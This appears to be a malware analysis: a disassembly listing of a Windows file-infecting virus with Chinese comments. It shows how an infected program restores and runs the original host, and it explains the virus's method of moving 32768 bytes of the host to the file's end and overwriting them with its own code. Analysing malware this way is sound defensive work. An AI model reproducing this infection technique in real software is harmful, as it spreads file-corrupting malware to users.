.text:00402E79 push 3E8h ; nSize
.text:00402E7E lea eax, [ebp+ExistingFileName]
.text:00402E84 push eax ; lpFilename
.text:00402E85 push 0 ; hModule
.text:00402E87 call ds:GetModuleFileNameA ; 获得当前模块路径名
.text:00402E8D lea eax, [ebp+ExistingFileName]
.text:00402E93 mov esi, offset lpFileName
.text:00402E98 push eax
.text:00402E99 mov ecx, esi
.text:00402E9B call
??4CString@@QAEABV0@PBD@Z ; CString::operator=(char const *)
.text:00402EA0 movzx ax, byte_405063
.text:00402EA8 and [ebp+var_208], 0
.text:00402EB0 push 3Dh
.text:00402EB2 pop ecx
.text:00402EB3 lea edi, [ebp+var_206]
.text:00402EB9 sub eax, 3Ah
.text:00402EBC mov [ebp+var_210], ax ; 拼tmp这样的串
.text:00402EC3 movzx ax, byte_405044
.text:00402ECB dec eax
.text:00402ECC mov [ebp+var_20E], ax
.text:00402ED3 movzx ax, byte_405040
.text:00402EDB add eax, 16h
.text:00402EDE mov [ebp+var_20C], ax
.text:00402EE5 movzx ax, byte_40504D
.text:00402EED sub eax, 0Eh
.text:00402EF0 mov [ebp+var_20A], ax
.text:00402EF7 xor eax, eax
.text:00402EF9 rep stosd
.text:00402EFB stosw
.text:00402EFD lea eax, [ebp+var_210]
.text:00402F03 push eax
.text:00402F04 lea ecx, [ebp+var_10]
.text:00402F07 call
??0CString@@QAE@PBG@Z ; CString::CString(ushort const *)
.text:00402F0C push eax
.text:00402F0D mov ecx, esi
.text:00402F0F call
??YCString@@QAEABV0@ABV0@@Z ; CString::operator+=(CString const &)
.text:00402F14 lea ecx, [ebp+var_10]
.text:00402F17 call
??1CString@@QAE@XZ ; CString::~CString(void)
.text:00402F1C push 1 ; bFailIfExists
.text:00402F1E push lpFileName ; lpNewFileName
.text:00402F24 lea eax, [ebp+ExistingFileName]
.text:00402F2A push eax ; lpExistingFileName
.text:00402F2B call ds:CopyFileA ; 把自身拷贝为*.exe.tmp到当前目录下 此时的文件还是被感染的文件
.text:00402F31 push 2
.text:00402F33 push lpFileName
.text:00402F39 call ds:_open
.text:00402F3F mov edi, eax
.text:00402F41 push edi
.text:00402F42 call ds:_filelength ; 获取文件长度
.text:00402F48 mov esi, 8000h
.text:00402F4D sub eax, esi
.text:00402F4F push eax
.text:00402F50 push edi
.text:00402F51 call ds:_chsize
.text:00402F57 push edi
.text:00402F58 call ds:_close
.text:00402F5E lea eax, [ebp+ExistingFileName]
.text:00402F64 push offset Mode ; "rb"
.text:00402F69 push eax ; Filename
.text:00402F6A call ds:fopen
.text:00402F70 add esp, 20h
.text:00402F73 test eax, eax
.text:00402F75 mov [ebp+File], eax
.text:00402F78 jz loc_403000
.text:00402F7E mov edi, ds:fseek
.text:00402F84 push 2 ; Origin
.text:00402F86 push 0FFFF8000h ; Offset
.text:00402F8B push eax ; File
.text:00402F8C call edi ; fseek ; 从该文件尾部向上定位到8000h的位置,也就是从文件尾部向上定位到32768字节的位置
.text:00402F8E push [ebp+File] ; File
.text:00402F91 push esi ; Count
.text:00402F92 push 1 ; ElementSize
.text:00402F94 push offset unk_40525C ; DstBuf
.text:00402F99 call ds:fread ; 把数据读到一个buffer中
.text:00402F9F push [ebp+File] ; File
.text:00402FA2 call ds:fclose
.text:00402FA8 push offset aRb_0 ; "rb+"
.text:00402FAD push lpFileName ; Filename
.text:00402FB3 call ds:fopen
.text:00402FB9 push 0 ; Origin
.text:00402FBB push 2 ; Offset
.text:00402FBD push eax ; File
.text:00402FBE mov [ebp+File], eax
.text:00402FC1 call edi ; fseek ; 再次定位到该文件头部偏移第二个字节的位置
.text:00402FC3 push [ebp+File] ; File
.text:00402FC6 push esi ; Count
.text:00402FC7 push 1 ; Size
.text:00402FC9 push offset unk_40525C ; Str
.text:00402FCE call ds:fwrite ; 把刚才读出来的buffer的数据给拷贝到文件头偏移3字节开始的位置
.text:00402FD4 add esp, 44h
.text:00402FD7 push [ebp+File] ; File
.text:00402FDA call ds:fclose
.text:00402FE0 pop ecx
.text:00402FE1 push 5 ; uCmdShow
.text:00402FE3 push lpFileName ; lpCmdLine
.text:00402FE9 call ds:WinExec ; 运行
这个病毒是这样的 他采用了“移花接木”的方法
病毒感染文件时候 把文件头偏移2以后的8000h的数据都挪到文件尾部,然后把自身的代码覆盖到这8000h的位置。在运行被感染的文件时候,会在当前目录生成一个tmp文件,然后把最后文件尾8000h的数据给拷贝回来达到修复文件的目的。那个生成的tmp文件就是原文件